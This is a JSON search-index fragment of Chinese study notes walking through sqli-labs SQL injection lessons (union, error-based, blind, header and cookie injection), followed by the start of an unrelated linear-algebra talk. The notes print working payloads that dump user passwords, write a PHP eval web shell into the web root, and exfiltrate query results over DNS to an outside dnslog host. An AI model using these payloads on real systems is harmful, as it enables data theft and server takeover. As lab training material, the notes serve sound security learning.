    \u5176\u4ed6\u6b65\u9aa4\u4e0e less-1 \u76f8\u540c\uff0c\u53ea\u4e0d\u8fc7\u53d8\u6210\u4e86\u6570\u5b57\u578b\u6ce8\u5165

    "},{"location":"salon/basic_sql_injection/#less-3_basic_bracket","title":"less-3_basic_bracket","text":""},{"location":"salon/basic_sql_injection/#_3","title":"\u62ec\u53f7\u95ed\u5408","text":"
    1. \u5148\u5224\u65ad\u662f\u5b57\u7b26\u578b
    2. ?id=2' order by 3 --+\u540e\u62a5\u9519 check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3 -- ') LIMIT 0,1' at line 1 \u8bf4\u660e\u8981\u7528\u5355\u5f15\u53f7\u548c\u62ec\u53f7\u6765\u95ed\u5408
    3. \u5176\u4ed6\u6b65\u9aa4\u76f8\u540c
    "},{"location":"salon/basic_sql_injection/#less-4_basic_bracket2","title":"less-4_basic_bracket2","text":""},{"location":"salon/basic_sql_injection/#_4","title":"\u62ec\u53f7\u95ed\u5408","text":"
    1. \u5b57\u7b26\u578b
    2. ?id=2' order by 3--+ \u5176\u4e2d order by \u540e\u9762\u6570\u5b57\u4e0d\u7ba1\u591a\u5927\u90fd\u6ca1\u53cd\u5e94\uff0c\u8bf4\u660e\u95ed\u5408\u6709\u95ee\u9898
    3. \u5c1d\u8bd5\u628a\u5355\u5f15\u53f7\u6539\u6210\u53cc\u5f15\u53f7\uff0c\u51fa\u73b0\u62a5\u9519\uff1a\u2026\u2026use near 'order by 3-- \") LIMIT 0,1' at line 1\u8bf4\u660e\u5e94\u8be5\u7528\u53cc\u5f15\u53f7\u52a0\u53f3\u62ec\u53f7\u8fdb\u884c\u95ed\u5408
    4. \u540e\u7eed\u6b65\u9aa4\u76f8\u540c
    "},{"location":"salon/basic_sql_injection/#less-5_extractvalue","title":"less-5_extractvalue","text":""},{"location":"salon/basic_sql_injection/#_5","title":"\u62a5\u9519\u6ce8\u5165","text":"
    1. ?id=1' order by 100 --+ \u62a5\u9519 Unknown column '100' in 'order clause' \u8bf4\u660e\u5df2\u7ecf\u6b63\u786e\u95ed\u5408\u4e86

    2. ?id=-1' order by 3--+ \u4ec0\u4e48\u90fd\u4e0d\u663e\u793a

    3. ?id=1' order by 3--+ \u53ea\u663e\u793a You are in.........

    4. \u6545\u610f\u8c03\u7528\u4e0d\u5b58\u5728\u7684\u51fd\u6570\u5957\u51fa\u6570\u636e\u5e93\u540d\uff1a?id=1' union select fuck() --+ \u62a5\u9519 FUNCTION security.fuck does not exist \u8bf4\u660e\u6570\u636e\u5e93\u540d\u4e3a security

    5. \u5229\u7528 extractvalue \u62a5\u9519\u6ce8\u5165\uff1a

    6. sql select extractvalue(1, concat(0x7e, (select database())))

    7. \u6ce8\u610f select database() \u5fc5\u987b\u7528\u62ec\u53f7\u62ec\u8d77\u6765\uff0c\u624d\u4f1a\u88ab\u5f53\u6210\u4ee3\u7801\u6267\u884c\u3002 0x7e \u662f\u98d8\u5e26\u7b26\u53f7~\u7684\u4ee3\u7801\u3002

    8. \u6ce8\u610f\u8fd9\u91cc\u7528 union \u8fde\u63a5\u524d\u9762\u7684\u53e5\u5b50\u65f6\u5176\u5b9e\u4e0d\u7528\u8003\u8651\u5217\u6570\u6709\u6ca1\u6709\u5bf9\u9f50\uff0c\u62a5\u9519\u7167\u6837\u56de\u663e

    9. \u540e\u9762\u7684\u6b65\u9aa4\u4e0e\u524d\u9762\u76f8\u540c

    10. \u9047\u5230\u95ee\u9898\uff1a\u6700\u591a\u9ed8\u8ba4\u8fd4\u56de32\u4e2a\u5b57\u7b26\uff0c\u5229\u7528 substring/substr \u51fd\u6570\u89e3\u51b3

    11. sql union select 1,2,extractvalue('nanamo', substring(concat(0x7e, (select group_concat(username,'~',password) from users)),4,30))

    substr(string, a, b)

    \u5229\u7528 extractvalue() \u6ce8\u5165\uff1a

    select extractvalue('XML_document','Xpath_string') from xml\n

    \u6b63\u5e38\u67e5\u8be2\u8bed\u53e5

    Xpath_string\u4f8b\u5b50\uff1a/book/author/surname

    1. \u82e5\u67e5\u8be2\u4e0d\u5b58\u5728\u7684\u8def\u5f84\uff0c\u627e\u4e0d\u5230\u5185\u5bb9\u4f46\u4e0d\u62a5\u9519
    2. \u5c06 / \u6539\u4e3a ~ \u4ea7\u751f\u9519\u8bef xpath syntax error \u540e\u9762\u8ddf\u7740\u8def\u5f84\u56de\u663e\uff0c\u4e8e\u662f\u901a\u8fc7\u8fd9\u5904\u56de\u663e\u8fdb\u884c\u6ce8\u5165

    substring()

    substring(123456,1,3)\n

    \u8fd4\u56de\uff1a123

    substring(123456,4,3)\n

    \u8fd4\u56de\uff1a456

    \u5373\u4e0b\u6807\u4ece1\u5f00\u59cb\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u8868\u793a\u5b57\u7b26\u4e32\uff0c\u7136\u540e\u53d6\u4ece\u7b2c\u4e8c\u4e2a\u53c2\u6570\u7ed9\u5b9a\u7684\u4e0b\u6807\u5f00\u59cb\uff0c\u6570\u7b2c\u4e09\u4e2a\u53c2\u6570\u7ed9\u5b9a\u7684\u4e2a\u6570\uff0c\u5f97\u5230\u7684\u5b50\u4e32

    "},{"location":"salon/basic_sql_injection/#less-5_floor","title":"less-5_floor","text":""},{"location":"salon/basic_sql_injection/#_6","title":"\u62a5\u9519\u6ce8\u5165","text":"

    \u76f8\u5173\u51fd\u6570\uff1a

    1. rand() : 0~1\u968f\u673a\u5c0f\u6570
    2. floor() : \u5411\u4e0b\u53d6\u6574
    3. ceiling()
    4. concat_ws() : \u5c06\u62ec\u53f7\u5185\u7684\u6570\u636e\u7528\u7b2c\u4e00\u4e2a\u5b57\u6bb5\u8fde\u63a5\u8d77\u6765 concatenate with separator
    5. group by \u5206\u7ec4\u8bed\u53e5
    6. as \u522b\u540d
    7. count() : count(column_name) \u7edf\u8ba1 column_name \u4e2d\u975e NULL \u503c\u7684\u884c\uff0ccount(*) \u5219\u7edf\u8ba1\u6307\u5b9a\u8868\u4e2d\u6240\u6709\u884c\u7684\u6570\u91cf
    8. limit \u663e\u793a\u6307\u5b9a\u884c\u6570 limit 0,1 \u8868\u793a\u9650\u5236\u4ece\u7b2c 0 \u9879\u5f00\u59cb\u53d6 1 \u9879
    union select 1,count(*),concat_ws('-',(select database()), floor(rand(0)*2)) as a from information_schema.tables group by a\n

    from information_schema.tables \u4e3a\u4e86\u6709\u8db3\u591f\u7684\u5217\u6570

    count(*) \u7528\u6765\u7edf\u8ba1\u4e2a\u6570

    concat_ws() \u7528 - \u5c06 select database() \u7684\u8fd4\u56de\u503c\u548c floor(rand(0)*2) \u7684\u503c\u8fde\u63a5\u8d77\u6765

    \u6bcf\u4e00\u4e2a concat_ws(...) \u90fd\u91cd\u547d\u540d\u4e3a a \u5e76\u6309\u7167\u5b83\u8fdb\u884c\u5206\u7ec4\uff0c\u4e8e\u662f\u4f1a\u51fa\u73b0\u4e24\u79cd\u952e

    database_name-0 \u548c database_name-1

    \u8be5\u624b\u6cd5\u6210\u529f\u7684\u5173\u952e\u5728\u4e8e\uff1a\u7ed9\u5b83\u5206\u7ec4\u65f6\u7b97\u4e86\u4e00\u904d rand , \u8ba1\u6570\u65f6\u53c8\u8981\u7b97\u4e00\u904d rand , \u5c31\u6709\u53ef\u80fd\u51fa\u73b0\u91cd\u590d\u5b9a\u4e49\u952e\u540d\u7684\u9519\u8bef\uff0c\u4ece\u800c\u4ea7\u751f\u62a5\u9519 duplicate entry\uff0c\u8fd4\u56de\u6211\u4eec\u60f3\u8981\u770b\u5230\u7684\u4fe1\u606f

    \u4f46\u662f\uff0c\u6700\u540e\u4e00\u6b65\u6302\u6389\u4e86\uff1a

    union select 1,count(*),concat_ws('-',(\nselect group_concat(username,\"-\",password) from users\n), floor(rand(0)*2)) as a from information_schema.tables group by a\n

    \u9875\u9762\u53ea\u663e\u793a\uff1aYou are in........ \u8fd9\u662f\u600e\u4e48\u56de\u4e8b\u5462\uff1f

    \u592a\u957f\u4e86\uff0c\u5b83\u5c31\u4e0d\u663e\u793a\u4e86

    \u53ef\u4ee5\u7528 substring \u89e3\u51b3

    \u4e5f\u53ef\u4ee5\u7528 concat \u52a0\u4e0a limit \u9650\u5236\u6765\u89e3\u51b3

    union select 1,count(*),concat_ws('-',(\nselect concat(username,\"-\",password) from users limit 0,1\n), floor(rand(0)*2)) as a from information_schema.tables group by a\n
    "},{"location":"salon/basic_sql_injection/#less-6_updatexml","title":"less-6_updatexml","text":""},{"location":"salon/basic_sql_injection/#_7","title":"\u62a5\u9519\u6ce8\u5165","text":"

    \u5176\u5b9e\u4e0e less-5 \u4e00\u6837\uff0c\u53ea\u662f\u7528\u53cc\u5f15\u53f7\u95ed\u5408

    \u5728\u8fd9\u4e00\u9898\u5c1d\u8bd5\u7528\u65b0\u65b9\u6cd5\u89e3\u51b3

    1. \u5355\u5f15\u53f7\u95ed\u5408\u4e0d\u62a5\u9519\uff0c\u53cc\u5f15\u53f7\u95ed\u5408\u62a5\u9519\uff1ause near '\"1\"\" LIMIT 0,1' at line 1\u8bf4\u660e\u662f\u7528\u53cc\u5f15\u53f7\u95ed\u5408\u7684

    2. sql union select 1,2,updatexml('yemaster', substring(concat(0x7e, (select group_concat(username,'~',password) from users)),4,30),\"aaa\")

    3. \u5c31\u662f\u6bd4 extractvalue \u591a\u4e00\u9879\u65e0\u7528\u7684\u53c2\u6570

    \u5229\u7528 updatexml() \u62a5\u9519\u6ce8\u5165\uff0c\u539f\u7406\u4e0e extractvalue() \u4e00\u81f4

    select updatexml('XML_document','Xpath_string','New_content') from xml\n

    \u7528\u4e8e\u66f4\u65b0 xml \u6587\u4ef6\u5185\u5bb9

    \u540c\u6837\u5728 xpath \u4e2d\u7b2c\u4e00\u4f4d\u6539\u4e3a ~ \u7528\u4e8e\u62a5\u9519

    "},{"location":"salon/basic_sql_injection/#less-7_outfile","title":"less-7_outfile","text":""},{"location":"salon/basic_sql_injection/#_8","title":"\u6587\u4ef6\u6ce8\u5165","text":"
    1. sql SHOW VARIABLES LIKE '%secure%'

    2. \u67e5\u770b\u662f\u5426\u5177\u6709\u6587\u4ef6\u5199\u5165\u6743\u9650\uff1a

    Variable_name Value require_secure_transport OFF secure_auth ON secure_file_priv NULL
    1. \u4e3b\u8981\u5173\u6ce8 secure_file_priv\uff0cpriv \u5373 privilege\uff0c\u8fd9\u662f\u4e00\u4e2a\u7528\u4e8e\u6307\u5b9a\u6570\u636e\u5e93\u670d\u52a1\u5668\u4e0a\u5141\u8bb8\u6267\u884cLOAD DATA INFILE\u548cLOAD XML\u8bed\u53e5\u65f6\u7684\u6587\u4ef6\u8def\u5f84\u9650\u5236\u7684\u7cfb\u7edf\u53d8\u91cf\u3002\u5982\u679c\u8bbe\u7f6e\u4e86\u8fd9\u4e2a\u53d8\u91cf\uff0c\u90a3\u4e48\u53ea\u6709\u5728\u6307\u5b9a\u8def\u5f84\u4e0b\u7684\u6587\u4ef6\u624d\u80fd\u88ab\u52a0\u8f7d\u3002\u5f53\u524d\u60c5\u51b5\u4e0b\uff0c\u5b83\u88ab\u8bbe\u7f6e\u4e3aNULL\uff0c\u8fd9\u610f\u5473\u7740\u6ca1\u6709\u660e\u786e\u6307\u5b9a\u7684\u8def\u5f84\u9650\u5236\uff0c\u4efb\u4f55\u5730\u65b9\u7684\u6587\u4ef6\u90fd\u4e0d\u53ef\u4ee5\u88ab\u52a0\u8f7d\u3002\u6d4b\u8bd5\u65f6\u9700\u8981\u5728 my.ini \u4e2d\u914d\u7f6e secure_file_priv=\"\" \u7a7a\uff0c\u624d\u80fd\u4f7f\u4efb\u610f\u5730\u65b9\u6587\u4ef6\u90fd\u53ef\u4ee5\u52a0\u8f7d\u3002

    2. \u6ce8\u5165\u6728\u9a6c

    3. sql select 1,2,'<?php @eval($_POST[\"nanamo\"])?>' into outfile \"C:\\\\phpstudy_pro\\\\WWW\\\\hackin.php\"

    4. Linux \u670d\u52a1\u5668 \u53ef\u80fd\u7684\u8def\u5f84\uff1a\"/var/www/html/test/\"

    5. \u5b9e\u6218\u65f6\u9700\u8981\u8003\u8651\u7ed5\u8fc7\u6728\u9a6c\u68c0\u6d4b\uff0c\u8fd9\u79cd\u4e00\u53e5\u8bdd\u6728\u9a6c\u5f88\u5feb\u5c31\u4f1a\u88ab windows \u81ea\u5e26\u6740\u6bd2\u8f6f\u4ef6\u6740\u6389

    6. \u7528 antsword \u8fde\u63a5\uff0c\u83b7\u53d6\u670d\u52a1\u5668\u63a7\u5236\u6743

    "},{"location":"salon/basic_sql_injection/#less-8_bool","title":"less-8_bool","text":""},{"location":"salon/basic_sql_injection/#_9","title":"\u5e03\u5c14\u76f2\u6ce8","text":"

    \u9002\u7528\u4e8e\u9875\u9762\u53ea\u6709\u771f\u503c\u3001\u5047\u503c\u4e24\u79cd\u60c5\u51b5\u3002\u624b\u5de5\u5e03\u5c14\u76f2\u6ce8\u8d39\u65f6\u8d39\u529b\u3002

    1. \u5148\u5224\u65ad\u95ed\u5408\u65b9\u5f0f/\u9875\u9762\u7684\u771f\u5047\u6027\uff1aand 1=1, and 1=2

    2. sql ?id=1' and length((select database())) > 9 --+

    3. \u901a\u8fc7\u8c03\u6574\u53c2\u6570\u5f97\u77e5 select database() \u8fd4\u56de\u503c\u7684\u957f\u5ea6

    4. sql ?id=1' and ascii((select database())) > 100 --+

    5. \u901a\u8fc7\u8c03\u6574\u53c2\u6570\u5f97\u77e5 database \u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26\u7684 ascii \u7801\u503c

    6. \u5229\u7528 substr \u9009\u62e9\u67e5\u770b\u5176\u4ed6\u4f4d\u7f6e\u4e0a\u7684\u5b57\u6bcd\uff08substr() \u548c substring() \u6ca1\u6709\u533a\u522b\uff0c\u4e0b\u6807\u4ece1\u5f00\u59cb\uff09

    7. sql ?id=1' and ascii(substr((select database()),2,1)) > 100 --+

    8. \u4f9d\u6b64\u7c7b\u63a8\u91cd\u590d\u4e4b\u524d\u9898\u76ee\u7684\u65b9\u6cd5

    "},{"location":"salon/basic_sql_injection/#less-9_dnslog","title":"less-9_dnslog","text":""},{"location":"salon/basic_sql_injection/#dnslog","title":"DNSlog \u6e17\u900f","text":"

    DNSLog\u6e17\u900f\u662f\u4e00\u79cd\u5229\u7528DNS\uff08\u57df\u540d\u7cfb\u7edf\uff09\u534f\u8bae\u8fdb\u884c\u653b\u51fb\u548c\u4fe1\u606f\u6536\u96c6\u7684\u6280\u672f\u3002\u5176\u539f\u7406\u57fa\u4e8eDNS\u534f\u8bae\u7684\u7279\u6027\uff0c\u5373\u5c06\u57df\u540d\u89e3\u6790\u4e3aIP\u5730\u5740\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2a\u6076\u610f\u7684DNS\u670d\u52a1\u5668\uff0c\u5f53\u53d7\u5bb3\u8005\u7684\u8ba1\u7b97\u673a\u5c1d\u8bd5\u89e3\u6790\u7279\u5b9a\u7684\u57df\u540d\u65f6\uff0cDNS\u670d\u52a1\u5668\u4f1a\u8bb0\u5f55\u8bf7\u6c42\uff0c\u5e76\u5c06\u8bf7\u6c42\u4fe1\u606f\u53d1\u9001\u7ed9\u653b\u51fb\u8005\uff0c\u4ece\u800c\u5b9e\u73b0\u4fe1\u606f\u6536\u96c6\u3002

    \u5f53\u6211\u4eec\u53d1\u9001\u7ed9\u670d\u52a1\u5668\u7684\u4ee3\u7801\u4f1a\u6267\u884c\u4f46\u7f3a\u5c11\u56de\u663e\u7684\u65f6\u5019\uff0cdnslog \u76f8\u5f53\u4e8e\u7ed9\u4e86\u6211\u4eec\u4e00\u4e2a\u56de\u663e\u7684\u7a97\u53e3\u3002\u6211\u4eec\u7684\u76ee\u6807\u5c31\u662f\uff0c\u8ba9\u76ee\u6807\u670d\u52a1\u5668\u628a\u6211\u4eec\u7684\u4ee3\u7801\u6267\u884c\u4ee5\u540e\u7684\u8fd4\u56de\u503c\u548c\u57df\u540d\u8fde\u63a5\u8d77\u6765\uff0c\u5bf9\u6307\u5b9a\u57df\u540d\u8fdb\u884c\u8bbf\u95ee\u4ece\u800c\u7559\u4e0b\u75d5\u8ff9\u3002

    1. \u5728 www.dnslog.cn \u4e2d\u641e\u4e00\u4e2a\u57df\u540d\uff0c\u6bd4\u5982\u8bf4\u8fd9\u91cc\u641e\u5230\u7684\u662f\uff1asy119q.dnslog.cn

    2. \u6784\u9020 sql \u8bed\u53e5\uff1a

    3. sql select load_file(concat(\"//\",(select database()),\".sy119q.dnslog.cn/anyfile.txt\"))

    4. \u6ce8\u610f\uff1a\u4e0d\u8981\u6f0f\u6389\u4e2d\u95f4\u7684 \u201c.\u201d\uff0c\u4e5f\u4e0d\u8981\u5fd8\u4e86\u518d\u6700\u540e\u52a0\u4e00\u4e2a\u6587\u4ef6\u7684\u540d\u5b57\u3002\u770b\u5230\u9875\u9762\u6253\u7740\u8f6c\u8f6c\u5c31\u77e5\u9053\u5927\u6982\u7387\u6210\u529f\u4e86\uff0c\u56e0\u4e3a\u4f60\u7684\u6587\u4ef6\u540d\u662f\u4e71\u586b\u7684\uff0c\u5b83\u4e0d\u53ef\u80fd\u627e\u5f97\u5230

    5. \u70b9\u51fb dnslog \u5237\u65b0\u6309\u94ae\uff0c\u5373\u53ef\u770b\u5230\u76ee\u6807\u670d\u52a1\u5668\u7684\u8bf7\u6c42

    load_file() \u65e2\u53ef\u4ee5\u8bfb\u53d6\u672c\u673a\u6587\u4ef6\uff08\u770b\u5bf9\u65b9\u6709\u6ca1\u6709\u653e\u5f00\u8fd9\u4e2a\u6743\u9650\uff09\uff0c\u4e5f\u53ef\u4ee5\u8bfb\u53d6\u4e92\u8054\u7f51\u4e0a\u7684\u6587\u4ef6

    \u4f3c\u4e4e\u53ea\u80fd\u7528\u4e8ewindows\u670d\u52a1\u5668\u4e0a

    \u53cc\u659c\u6760\u53ef\u4ee5\u6539\u6210 4 \u4e2a\u53cd\u659c\u6760

    \u53cc\u53cd\u659c\u6760\u4ee3\u8868Microsoft Windows\u901a\u7528\u547d\u540d\u7ea6\u5b9a\uff08UNC\uff09\u7684\u6587\u4ef6\u548c\u76ee\u5f55\u8def\u5f84\u683c\u5f0f\u5229\u7528\u4efb\u4f55\u4ee5\u4e0b\u6269\u5c55\u5b58\u50a8\u7a0b\u5e8f\u5f15\u53d1DNS\u5730\u5740\u89e3\u6790\uff0c4 \u4e2a\u53cd\u659c\u6760\u662f\u56e0\u4e3a\u8003\u8651\u8f6c\u4e49\u56e0\u7d20

    \u9700\u8981\u6253\u5f00\u6587\u4ef6\u8bfb\u5199\u6743\u9650

    "},{"location":"salon/basic_sql_injection/#less-9_dnslogsqlinj","title":"less-9_dnslogsqlinj","text":""},{"location":"salon/basic_sql_injection/#dnslogsqlinj","title":"\u4f7f\u7528\u811a\u672c DnslogSqlinj","text":"
    python2 dnslogSql.py -u \"http://192.168.216.134/sqli-labs-php7/Less-9/?id=1' and ({})--+\" --dbs\npython2 dnslogSql.py -u \"http://192.168.216.134/sqli-labs-php7/Less-9/?id=1' and ({})--+\" -D security --tables\npython2 dnslogSql.py -u \"http://192.168.216.134/sqli-labs-php7/Less-9/?id=1' and ({})--+\" -D security -T users --columns\npython2 dnslogSql.py -u \"http://192.168.216.134/sqli-labs-php7/Less-9/?id=1' and ({})--+\" -D security -T users -C username,password --dump\n

    \u8fc7\u65f6\u7684\u811a\u672c\uff0c\u591a\u5e74\u672a\u7ef4\u62a4\uff0c\u5e94\u8be5\u8fd8\u662f\u53bb\u7528 sqlmap \u6bd4\u8f83\u597d

    "},{"location":"salon/basic_sql_injection/#less-9_time","title":"less-9_time","text":""},{"location":"salon/basic_sql_injection/#_10","title":"\u65f6\u95f4\u76f2\u6ce8","text":"

    \u5565\u56de\u663e\u90fd\u6ca1\u6709\uff0c\u751a\u81f3\u6ca1\u6709\u771f\u5047\u503c\u7684\u533a\u522b\uff0c\u800c\u7f51\u7ad9\u4f1a\u6267\u884c\u4f60\u5199\u7684\u4ee3\u7801\uff0c\u6b64\u65f6\u53ef\u4ee5\u4f7f\u7528\u65f6\u95f4\u76f2\u6ce8

    select if(ascii(substr((select database()),1,1))>100, sleep(0), sleep(3))\n

    \u5176\u4e2d if \u51fd\u6570\uff1a

    if(condition, True, False)\n

    \u6761\u4ef6\u5f0f\u4e3a\u771f\u65f6\u6267\u884c True \u8bed\u53e5\uff0c\u6761\u4ef6\u5f0f\u4e3a\u5047\u65f6\u6267\u884c False \u8bed\u53e5\uff0c\u4ece\u800c\u8fbe\u5230\u5224\u65ad\u7684\u6548\u679c

    "},{"location":"salon/basic_sql_injection/#less-11_post","title":"less-11_post","text":""},{"location":"salon/basic_sql_injection/#post","title":"post \u6ce8\u5165","text":"
    1. \u7528 burp suite \u6293\u5305\u67e5\u770b\u63d0\u4ea4\u4fe1\u606f
    1. \u770b\u5230\u63d0\u4ea4\u7684\u53c2\u6570\u5206\u522b\u662f uname passwd submit

    2. \u5176\u5b9e submit \u6ca1\u5fc5\u8981\u63d0\u4ea4\uff0c\u800c\u4e14\u7531\u4e8e\u8fd9\u4e2a submit \u548c form \u4e2d\u7684 submit \u91cd\u540d\u4e86\uff0c\u5982\u679c\u63d0\u4ea4\u53cd\u800c\u4f1a\u62a5\u9519\u5931\u8d25

    3. \u5728 hackbar \u4e0a\u8fdb\u884c post \u6ce8\u5165\uff1auname=admin' or 1=1#&passwd=111

    4. \u5982\u679c\u60f3\u83b7\u53d6\u6570\u636e\u5e93\u76f8\u5173\u4fe1\u606f\uff0c\u5728\u5355\u5f15\u53f7\u548c # \u4e4b\u95f4\u8fdb\u884c union \u6ce8\u5165\u5373\u53ef

    "},{"location":"salon/basic_sql_injection/#less-18_uagent","title":"less-18_uagent","text":""},{"location":"salon/basic_sql_injection/#burp-suite-header-injection","title":"\u4f7f\u7528 Burp Suite \u8fdb\u884c Header Injection","text":"
    1. \u9996\u5148\u6211\u4eec\u9700\u8981\u4e89\u53d6\u5230\u4e00\u4e2a username \u548c password

    2. \u770b\u5230\u9875\u9762\u8fd4\u56de\u4e86 User Agent :

    3. \u67e5\u770b php \u6e90\u7801\u5f97\u77e5\u6ce8\u5165\u70b9\u5c31\u5728 $uagent

    4. php $insert=\"INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)\";

    5. \u5148\u7528 Burp Suite \u62e6\u622a\uff0c\u4fee\u6539 User-Agent \u540e\u518d\u5411\u670d\u52a1\u5668\u53d1\u9001\u8bf7\u6c42

    6. \u5229\u7528\u62a5\u9519\u4fe1\u606f\u5f97\u5230\u671f\u671b\u7684\u6570\u636e\u5e93\u4fe1\u606f

    7. User-Agent: 1'or updatexml(1,concat('~',(select database())),3),2,3)#

    "},{"location":"salon/basic_sql_injection/#less-19_referer","title":"less-19_referer","text":""},{"location":"salon/basic_sql_injection/#burp-suite-header-injection_1","title":"\u4f7f\u7528 Burp Suite \u8fdb\u884c Header Injection","text":"

    \u8ddf less-18 \u51e0\u4e4e\u4e00\u6837\uff0c\u53ea\u662f\u6ce8\u5165\u4f4d\u7f6e\u4ece user-agent \u5230\u4e86 referer

    "},{"location":"salon/basic_sql_injection/#less-20_cookie","title":"less-20_cookie","text":""},{"location":"salon/basic_sql_injection/#burp-suite-header-injection_2","title":"\u4f7f\u7528 Burp Suite \u8fdb\u884c Header Injection","text":"
    $cookee = $_COOKIE['uname'];\n$format = 'D d M Y - H:i:s';\n$timestamp = time() + 3600;\necho \"<center>\";\necho '<br><br><br>';\necho '<img src=\"../images/Less-20.jpg\" />';\necho \"<br><br><b>\";\necho '<br><font color= \"red\" font size=\"4\">';   \necho \"YOUR USER AGENT IS : \".$_SERVER['HTTP_USER_AGENT'];\necho \"</font><br>\"; \necho '<font color= \"cyan\" font size=\"4\">';  \necho \"YOUR IP ADDRESS IS : \".$_SERVER['REMOTE_ADDR'];           \necho \"</font><br>\";         \necho '<font color= \"#FFFF00\" font size = 4 >';\necho \"DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>\";\necho '<font color= \"orange\" font size = 5 >';           \necho \"YOUR COOKIE : uname = $cookee and expires: \" . date($format, $timestamp);\n
    echo \"<br></font>\";\n$sql=\"SELECT * FROM users WHERE username='$cookee' LIMIT 0,1\";\n$result=mysqli_query($con1, $sql);\nif (!$result)\n{\n    die('Issue with your mysql: ' . mysqli_error($con1));\n}\n$row = mysqli_fetch_array($result, MYSQLI_BOTH);\n

    \u7531\u4ee3\u7801\u7247\u6bb5\u77e5\u53d8\u91cf $cookee \u53ef\u4ee5\u8fdb\u884c\u6ce8\u5165\uff0c\u800c $cookee \u53d8\u91cf\u53c8\u662f\u4ece $cookee = $_COOKIE['uname']; \u8bbe\u7f6e\u7684

    \u6545\u5148\u5bf9\u7f51\u9875\u8fdb\u884c\u62e6\u622a\uff0c\u518d\u4fee\u6539 cookie \u503c\u8fdb\u884c\u62a5\u9519\u6ce8\u5165

    Cookie: uname=admin' or updatexml(1,concat('~',(select database())),3)#\n
    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/","title":"20240204","text":"

    \u5185\u5bb9\uff1a\u7ebf\u6027\u4ee3\u6570\u7684\u5e94\u7528\uff0c\u5305\u542b\uff08\u8ba1\u7b97\u673a\u56fe\u5f62\u5b66\uff0c\u7b97\u6cd5\uff0c\u5bc6\u7801\u5b66\u7684\u76f8\u5173\u5185\u5bb9\uff09

    \u524d\u7f6e\u57fa\u7840\uff1a\u77e9\u9635\u4e58\u6cd5

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#arithmetic-algebra-algorithm","title":"\u7b97\u672f\uff0c\u4ee3\u6570\uff0c\u7b97\u6cd5 | arithmetic, algebra, algorithm","text":"

    \u5148\u7b80\u5355\u7684\u5f15\u5165\u4e00\u4e0b\uff0c\u4ece\u5c0f\u5b66\u7684 \u7b97\u672f \u5230\u4e2d\u5b66\u7684 \u4ee3\u6570 \u8fd9\u4e24\u8005\u4e4b\u95f4\u7684\u5dee\u522b\u3002

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    \u7b97\u6cd5\u662f\u4e00\u79cd\u81ea\u52a8\u5de5\u4f5c\u7684\u6d41\u7a0b\uff0c\u6309\u7167\u5c0f\u6b65\u5de5\u4f5c\u8fdb\u884c\u81ea\u52a8\u8fd0\u7b97\u3002 \u6bd4\u5982\u4e0b\u9762\u8fd9\u9053\u9898\u76ee\u3002 \u9898\u76ee\uff1a Problem - B - Codeforces

    \u8fd9\u662f Codeforces \u5468\u8d5b div2 \u7684\u4e00\u9053\u9898\u76ee\uff0c\u6bd4\u8f83\u7b80\u5355\uff0c\u5927\u5bb6\u53ef\u4ee5\u7b80\u5355\u7684\u601d\u8003\u4e00\u4e0b

    \u82f1\u6587\u770b\u7740\u5f88\u957f\uff0c\u5b9e\u9645\u9898\u76ee\u5f88\u7b80\u5355\uff0c\u6709 n \u4e2a\u5f00\u5173\u548c m \u76cf\u706f\uff0c\u53ea\u8981\u5b58\u5728\u4e00\u4e2a\u63a7\u5236\u8fd9\u4e2a\u706f\u662f\u5f00\u7740\u7684\u8fd9\u4e2a\u7b49\u5c31\u4f1a\u88ab\u70b9\u4eae\u3002 \u7136\u540e\u7ed9\u4f60 01 \u77e9\u9635\uff0c\u8868\u793a n \u4e2a\u5f00\u5173\u63a7\u5236 m \u76cf\u706f\uff0c\u884c\u5217\u4e3a 1 \u8868\u793a\u53ef\u4ee5\u8ba9\u706f\u4eae\u7740\uff0c\u95ee\u4f60\u80fd\u5426\u5220\u6389\u4e00\u4e2a\u5f00\u5173\uff0c\u4f7f\u5f97\u6240\u6709\u706f\u88ab\u70b9\u4eae\u3002

    \u601d\u8def\u60f3\u5230\u7684\u5f88\u7b80\u5355\uff0c\u5bf9\u4e8e\u6bcf\u4e00\u884c\u6c42\u548c\uff0c\u5982\u679c\u5bf9\u4e8e\u6bcf\u4e00\u884c\uff0c\u5982\u679c\u53bb\u6389\u67d0\u4e00\u884c\u540e\u8fd9\u4e00\u5217\u7684\u548c\u53d8\u6210 0 \uff0c\u8bf4\u660e\u6709\u706f\u4e0d\u80fd\u5220\u6389\uff0c\u4e00\u4e2a\u7b80\u5355\u7684\u679a\u4e3e\u6cd5\uff0c\u6bcf\u4e00\u6b21\u68c0\u6d4b\u5f00\u5173\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u662f \\(O(mn)\\)\uff0c\u6240\u4ee5\u603b\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u662f\\(O(mn^2)\\)\uff0c\u521a\u597d\u591f \\(3s\\) \u7684\u65f6\u95f4\u9650\u5236\u3002\u5f53\u7136\uff0c\u53ef\u4ee5\u7528\u524d\u7f00\u548c\u6216\u8005\u4f4d\u8fd0\u7b97\u7684\u5947\u6280\u6deb\u5de7\u8fdb\u884c\u590d\u6742\u5ea6\u964d\u4f4e\uff0c\u8fd9\u91cc\u4e0d\u8fdb\u884c\u5c55\u5f00\u3002

